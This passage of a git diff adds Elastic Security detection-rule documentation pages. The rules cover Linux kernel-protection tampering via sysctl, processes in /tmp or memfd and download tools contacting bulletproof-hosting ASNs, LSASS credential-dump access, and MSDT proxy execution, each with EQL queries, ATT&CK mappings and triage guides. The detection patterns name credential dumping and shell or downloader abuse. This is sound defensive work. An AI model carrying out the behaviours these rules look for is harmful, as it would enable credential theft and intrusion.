Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-kernel-feature-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-kernel-feature-activity.asciidoc new file mode 100644 index 0000000000..fd97671203 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-kernel-feature-activity.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-36-suspicious-kernel-feature-activity]] +=== Suspicious Kernel Feature Activity + +This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Kernel Feature Activity* + + +Kernel features in Linux systems are critical for maintaining security and stability. They control various system behaviors, such as memory randomization and process tracing. Adversaries may exploit these features to weaken defenses, for instance, by disabling address space layout randomization (ASLR) or enabling unrestricted process tracing. The detection rule identifies suspicious activities by monitoring command executions that modify or read kernel settings, focusing on unusual patterns or contexts that suggest malicious intent. + + +*Possible investigation steps* + + +- Review the process command line to identify which specific kernel feature was accessed or modified, focusing on entries like kernel.randomize_va_space or kernel.yama.ptrace_scope. +- Examine the parent process executable and name to determine the context in which the suspicious command was executed, checking for unusual or unauthorized parent processes. +- Investigate the user account associated with the process execution to assess whether the activity aligns with expected behavior for that user. +- Check for any recent changes in the /etc/sysctl.conf or /etc/sysctl.d/ directories that might indicate unauthorized modifications to kernel settings. +- Analyze the system's process execution history to identify any patterns or sequences of commands that suggest a broader attack or compromise. +- Correlate the alert with other security events or logs to determine if this activity is part of a larger attack campaign or isolated incident. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently modify kernel settings for legitimate purposes such as performance tuning or system maintenance. To handle these, identify and whitelist known administrative scripts or processes that regularly perform these actions. +- Security tools or monitoring solutions might execute commands that read kernel settings as part of their normal operation. Review and exclude these tools from triggering alerts by adding them to an exception list based on their process names or command patterns. +- Developers and testers might disable certain kernel features temporarily during debugging or testing phases. Coordinate with development teams to document these activities and exclude them from detection by specifying the relevant process names or command lines. +- Some system management tools may use commands like sysctl to apply configuration changes across multiple systems. If these tools are verified as non-threatening, exclude their specific command patterns or parent processes from triggering the rule. +- Regular system updates or configuration management processes might involve reading or modifying kernel settings. Identify these processes and add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Review and revert any unauthorized changes to kernel settings, such as ASLR, ptrace scope, or NMI watchdog, to their secure defaults using sysctl or by editing configuration files. +- Conduct a thorough examination of the system for signs of compromise, including checking for unauthorized access, unusual processes, or modifications to critical files. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be reliably remediated. +- Implement additional monitoring and logging for kernel feature modifications to detect similar activities in the future, ensuring alerts are configured for immediate response. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and correlation with other potential threats across the network. +- Review and update security policies and configurations to prevent unauthorized kernel modifications, including enforcing stricter access controls and auditing procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +process.command_line : ( + "*/etc/sysctl.conf*", "*/etc/sysctl.d/*", "*/proc/sys/kernel/nmi_watchdog*", + "*/proc/sys/vm/nr_hugepages*", "*/proc/sys/kernel/yama/ptrace_scope*", + "*/proc/sys/kernel/randomize_va_space*", "*/proc/sys/vm/drop_caches*", + "*/proc/sys/kernel/sysrq*", "*grsecurity*", "*exec-shield*", + "*kernel.randomize_va_space*", "*kernel.yama.ptrace_scope*", + "*kernel.nmi_watchdog*", "*vm.nr_hugepages*", "*vm.drop_caches*", + "*kernel.sysrq*" +) and +process.parent.name != null and +( + (process.name == "tee" and process.args like "-*a*") or // also detects --append + (process.name == "cat" and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "grep" and process.args_count == 3 and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + (process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.args : "*echo *") +) and +not ( + ?process.parent.executable in ( + "/opt/novell/groupwise/agents/bin/gwia", "/opt/novell/groupwise/agents/bin/gwmta", "/opt/novell/groupwise/agents/bin/gwpoa", + "/opt/illumio_ven/system/etc/init.d/illumio-firewall", "/usr/bin/oracle-database-preinstall-19c-verify", "/usr/bin/make", + "/usr/local/qualys/cloud-agent/bin/qualys-scan-util" + ) or + ?process.parent.executable like "/tmp/CVU_19_resource*/checkmemlock.sh" or + ?process.parent.args == "/usr/share/mysql/mysql-systemd-start" or + ?process.parent.command_line like "*ansible*" or + (process.parent.name in ("crond", "cron") and process.command_line like "*drop_caches*") or + (process.parent.name == "python.original" and ?process.parent.args == "/usr/lib/venv-salt-minion/bin/salt-minion") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-linux-process-connection-to-bulletproof-hosting-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-linux-process-connection-to-bulletproof-hosting-asn.asciidoc new file mode 100644 index 0000000000..56adde5141 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-linux-process-connection-to-bulletproof-hosting-asn.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-36-suspicious-linux-process-connection-to-bulletproof-hosting-asn]] +=== Suspicious Linux Process Connection to Bulletproof Hosting ASN + +This rule detects outbound connection attempts from unusual Linux process locations or common living-off-the-land utilities to autonomous systems associated with bulletproof or high-abuse hosting. Adversaries often stage payloads in world-writable or web directories and beacon to infrastructure that ignores abuse reports, including providers such as Storm Industries, Ecatel/IP Volume, Aeza, and Proton66. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1071/ +* https://www.spamhaus.org/blocklists/do-not-route-or-peer/ + +*Tags*: + +* Domain: Endpoint +* Domain: Network +* OS: Linux +* Platform: Linux +* Rule Type: Event Correlation (EQL) +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Linux Process Connection to Bulletproof Hosting ASN* + + +This rule flags a Linux process that initiates an outbound connection to an ASN commonly associated with bulletproof or high-abuse hosting. The process is either running from an unusual location such as `/tmp`, `/dev/shm`, a web directory, or `memfd`, or it is a downloader, shell, or interpreter frequently abused to fetch and launch follow-on payloads. A typical pattern is a dropped ELF in `/tmp` or a webshell-spawned `curl`/`wget`/`python` process beaconing to providers such as Storm Industries, Ecatel/IP Volume, Aeza, or Proton66. + +ASN enrichment is applied at ingest. Confirm `destination.as.number` and `destination.as.organization.name` on the source event, because the endpoint agent does not populate these fields natively. + + +*Possible investigation steps* + + +- Review the process executable path, name, command line, parent lineage, user, and working directory to determine whether the connection came from a dropped binary, a webshell, or an expected administrative tool. +- Enrich the destination IP with ASN, organization, reputation, passive DNS, and related hosts that contacted the same address or ASN around the same time. +- Correlate nearby file, process, and DNS activity on the same `host.id` and `process.entity_id` for payload writes, `chmod`/`exec` of the same path, interpreter downloads, or additional beacons. +- Check whether the destination was reached by raw IP with no preceding DNS lookup, which is common for malware command-and-control. +- Scope the same process hash, destination IP, and ASN across the environment, and review web server, SSH, and privilege-escalation telemetry if the parent is a web process or an unusual interactive shell. + + +*False positive analysis* + + +- An administrator or automation job may use `curl`, `wget`, `python`, or a shell to retrieve packages or updates from a VPS that happens to sit in a high-abuse ASN such as HOSTKEY, Aeza, or FlokiNET; confirm the parent process, change record, and destination ownership. +- Software installers, self-extracting packages, or development builds running from `/tmp` can make outbound connections during setup; verify the binary path, publisher, and whether the destination is expected for that installer. +- Privacy-oriented or Tor-related tooling hosted on FlokiNET or similar providers can trigger this rule; validate that the process and destination match an approved use case. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved management access, terminate the suspicious process tree, and block the destination IP, domain, and ASN at DNS, proxy, and firewall layers where policy allows. +- Preserve the executable, command line, destination IP, ASN, and related files under `/tmp`, `/var/tmp`, `/dev/shm`, web directories, and `memfd` for forensic review. +- Remove attacker footholds including dropped binaries, webshells, cron or systemd persistence, and unauthorized SSH keys, then rotate credentials exposed on the host. +- Rebuild or restore the host from a known-good image if a malicious payload executed, and hunt for the same hash, destination, or ASN on other systems. +- Escalate to incident response if the process ran as root, the same infrastructure appears on multiple hosts, or you observe follow-on payload execution, credential access, or lateral movement. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and +( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "*/www/html/*", + "/lost+found/*", "/var/mail/*", "/var/www/*", "/mnt/*", "/media/*", "/proc/*/fd/*", "?memfd:*", "memfd:*", + "*/wp-content/*", "*/wp-includes/*", "*/wp-admin/*" + ) or + process.name in ( + "curl", "wget", "ftp", "tftp", "scp", "rsync", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", + "busybox", "timeout", "env", "bun" + ) or + process.name like (".*", "python*", "perl*", "php*", "ruby*", "lua*", "node*", "deno*") +) and +destination.as.number in ( + // Storm Industries / StormCloud / Pfcloud / OMEGATECH + 202412, 214472, 219502, 51396, + // Ecatel / IP Volume / Novogara / SpectraIP + 48090, 56611, 57717, 62068, 202425, 202769, 204655, + // 4Vendeta / Tamatiya + 200391, 204428, 207812, + // KoDDoS / Amarutu + 206264, + // 1337 Services (rdp.sh) + 210558, + // TEAM-HOST + 202984, + // HOSTKEY (frequently abused for malware C2) + 50867, 57043, + // Proton66 / Prospero + 198953, 200593, + // Aeza / Hypercore (OFAC) + 210644, 211522, 215552, 216246, + // Stark / PQ.Hosting / WorkTitans / MIRhosting / UFO Hosting + 33993, 44477, 52000, 209847, + // Zservers / XHost + 213010, 213194, 61336, 216071, + // Media Land (OFAC) + 48721, 206728, 211409, 215311, + // ELITETEAM / 1337TEAM + 39770, 51381, 56873, 60424, + // aurologic downstream BPH brands + 209800, 210281, 213887, 214351, 214940, 214943, 215789, 216309, + // QWINS, GCSAS, Cloudzy, HostSlick, AlexHost, FlokiNET, PINSPB + 14956, 44050, 200019, 200651, 208046, 213702, 215540, + // FUNNULL / CTG Server + 152194, + // First Server Limited + 50113, 204997, 205090, + // CrazyRDP / Delis + 211252, 394711, + // BtHoster / BTCloud + 213388, 213790, 214295, + // SHANGXING + 400619 +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-lsass-process-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-lsass-process-access.asciidoc new file mode 100644 index 0000000000..6eb23776ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-lsass-process-access.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-36-suspicious-lsass-process-access]] +=== Suspicious Lsass Process Access + +Identifies access attempts to LSASS handle, this may indicate an attempt to dump credentials from Lsass memory. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Lsass Process Access* + + +The Local Security Authority Subsystem Service (LSASS) is crucial for enforcing security policies and managing user logins in Windows environments. Adversaries often target LSASS to extract credentials, enabling unauthorized access. The detection rule identifies unusual access attempts to LSASS by filtering out legitimate processes and access patterns, focusing on anomalies that suggest credential dumping activities. + + +*Possible investigation steps* + + +- Review the process details that triggered the alert, focusing on the process name and executable path to determine if it is a known legitimate application or potentially malicious. +- Examine the GrantedAccess value in the event data to understand the level of access attempted on the LSASS process and compare it against typical access patterns. +- Investigate the parent process of the suspicious process to identify how it was spawned and assess if it is part of a legitimate workflow or an anomaly. +- Check the CallTrace field for any unusual or suspicious DLLs that might indicate malicious activity or exploitation attempts. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns, such as network connections or file modifications. +- Verify the host's security posture, including the status of antivirus or endpoint protection solutions, to ensure they are functioning correctly and have not been tampered with. + + +*False positive analysis* + + +- Legitimate security tools like Sysinternals Process Explorer and Process Monitor can trigger false positives. Exclude these by adding their process names to the exception list. +- Windows Defender and other antivirus software may access LSASS for legitimate scanning purposes. Exclude their executable paths from the detection rule to prevent false alerts. +- System processes such as csrss.exe, lsm.exe, and wmiprvse.exe are known to access LSASS as part of normal operations. Ensure these are included in the process executable exceptions to avoid unnecessary alerts. +- Software updates and installers, like those from Cisco AnyConnect or Oracle, may access LSASS during legitimate operations. Add these specific paths to the exclusion list to reduce false positives. +- Custom enterprise applications that interact with LSASS for authentication purposes should be identified and their paths added to the exceptions to prevent disruption in monitoring. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to access the LSASS process, ensuring that legitimate processes are not disrupted. +- Conduct a memory dump analysis of the affected system to identify any malicious tools or scripts used for credential dumping, focusing on the LSASS process. +- Change all potentially compromised credentials, especially those with administrative privileges, to prevent unauthorized access using stolen credentials. +- Apply patches and updates to the affected system to address any vulnerabilities that may have been exploited by the adversary. +- Monitor the network for any signs of further suspicious activity or attempts to access LSASS on other systems, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code == "10" and + winlog.event_data.TargetImage : "?:\\WINDOWS\\system32\\lsass.exe" and + not winlog.event_data.GrantedAccess : + ("0x1000", "0x1400", "0x101400", "0x101000", "0x101001", "0x100000", "0x100040", "0x3200", "0x40", "0x3200") and + not process.name : ("procexp64.exe", "procmon.exe", "procexp.exe", "Microsoft.Identity.AadConnect.Health.AadSync.Host.ex") and + not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\*", + "?:\\ProgramData\\WebEx\\webex\\*", + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\LTSvc\\LTSVC.exe", + "?:\\Windows\\Sysmon.exe", + "?:\\Windows\\Sysmon64.exe", + "C:\\Windows\\CynetMS.exe", + "?:\\Windows\\system32\\csrss.exe", + "?:\\Windows\\System32\\lsm.exe", + "?:\\Windows\\system32\\MRT.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\system32\\wbem\\wmiprvse.exe", + "?:\\Windows\\system32\\wininit.exe", + "?:\\Windows\\SystemTemp\\GUM*.tmp\\GoogleUpdate.exe", + "?:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe", + "C:\\oracle\\64\\02\\instantclient_19_13\\sqlplus.exe", + "C:\\oracle\\64\\02\\instantclient_19_13\\sqlldr.exe", + "d:\\oracle\\product\\19\\dbhome1\\bin\\ORACLE.EXE", + "C:\\wamp\\bin\\apache\\apache*\\bin\\httpd.exe", + "C:\\Windows\\system32\\netstat.exe", + "C:\\PROGRA~1\\INFORM~1\\apps\\jdk\\*\\jre\\bin\\java.exe", + "C:\\PROGRA~2\\CyberCNSAgentV2\\osqueryi.exe", + "C:\\ProgramData\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Temp\\CloudUpdate\\vpndownloader.exe", + "C:\\ProgramData\\Cisco\\Cisco Secure Client\\Temp\\CloudUpdate\\vpndownloader.exe" + ) and + not winlog.event_data.CallTrace : ("*mpengine.dll*", "*appresolver.dll*", "*sysmain.dll*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-microsoft-diagnostics-wizard-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-microsoft-diagnostics-wizard-execution.asciidoc new file mode 100644 index 0000000000..038cade984 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-microsoft-diagnostics-wizard-execution.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-36-suspicious-microsoft-diagnostics-wizard-execution]] +=== Suspicious Microsoft Diagnostics Wizard Execution + +Identifies potential abuse of the Microsoft Diagnostics Troubleshooting Wizard (MSDT) to proxy malicious command or binary execution via malicious process arguments. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/nao_sec/status/1530196847679401984 +* https://lolbas-project.github.io/lolbas/Binaries/Msdt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Microsoft Diagnostics Wizard Execution* + + + +*Possible investigation steps* + + +- Does the alert show MSDT proxy-execution behavior or a bounded diagnostic launch? + - Why: MSDT abuse depends on PCWDiagnostic answer files, rebrowse or browse-file parameters, traversal, or encoded input, not on "msdt.exe" alone. + - Focus: `process.command_line` and `process.args`, classifying answer-file use, rebrowse or browse-file parameters, encoded input, traversal, and package location. + - Implication: escalate when arguments point to attacker-controlled content, encoded or traversal input, or user-writable answer files; lower concern only when they resolve to a recognized local diagnostic pack with no external, encoded, traversal, or user-writable references. + +- Do binary identity and launcher lineage fit a legitimate diagnostic launch? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when MSDT is renamed, relocated, unsigned or untrusted, or launched by Office, a browser, script host, "mshta.exe", "rundll32.exe", "regsvr32.exe", or a shell using profile or temp content; lower concern when a trusted Windows MSDT path and signed helpdesk, OEM, or management parent launch the same diagnostic pack. + +- Did MSDT or a diagnostic-host child launch another binary or script? + - Focus: child process events where `process.parent.entity_id` matches alert `process.entity_id`; record child `process.entity_id`, `process.executable`, `process.command_line`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Child process events for the same MSDT instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the first child is a signed diagnostic host, inspect that child's descendants before treating the chain as contained. + - Implication: escalate when MSDT or its diagnostic-host child launches shells, script interpreters, "mshta.exe", "regsvr32.exe", "rundll32.exe", unsigned payloads, or content from user-writable paths; lower concern when the child chain stays inside expected Microsoft or OEM diagnostic components. + +- Do file events show package staging or later execution? + - Focus: if file telemetry exists, pivot with `host.id` plus alert `process.entity_id`, parent `process.parent.entity_id`, direct-child parent linkage, and exact referenced paths when present; otherwise use `host.id`, `process.pid`, and alert-time window for referenced path, provenance, write timing, and later execution. Missing file telemetry is unresolved, not benign. !{investigate{"description":"","label":"File events for parent and child processes","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the package appears in Public, Temp, profile, share, or newly written staging paths, carries web or archive provenance, or later executes; lower concern only when artifact evidence stays bound to the same recognized diagnostic package. + +- If remote delivery is suggested, do optional network events show retrieval or external control? + - Focus: when network telemetry exists, query with `host.id` plus alert `process.entity_id` or alert-backed `process.parent.entity_id`, separating DNS from connections. Review child-process network activity from recovered child results. Missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"Network and DNS events for MSDT or its parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the parent, MSDT, or child chain retrieves remote HTML/package content or contacts unrelated infrastructure; lower concern only when available network evidence stays local or vendor-aligned with the same diagnostic package. + +- If local evidence is suspicious or unresolved, does related alert history broaden scope? + - Focus: compare related alerts for `user.id` and `host.id` over 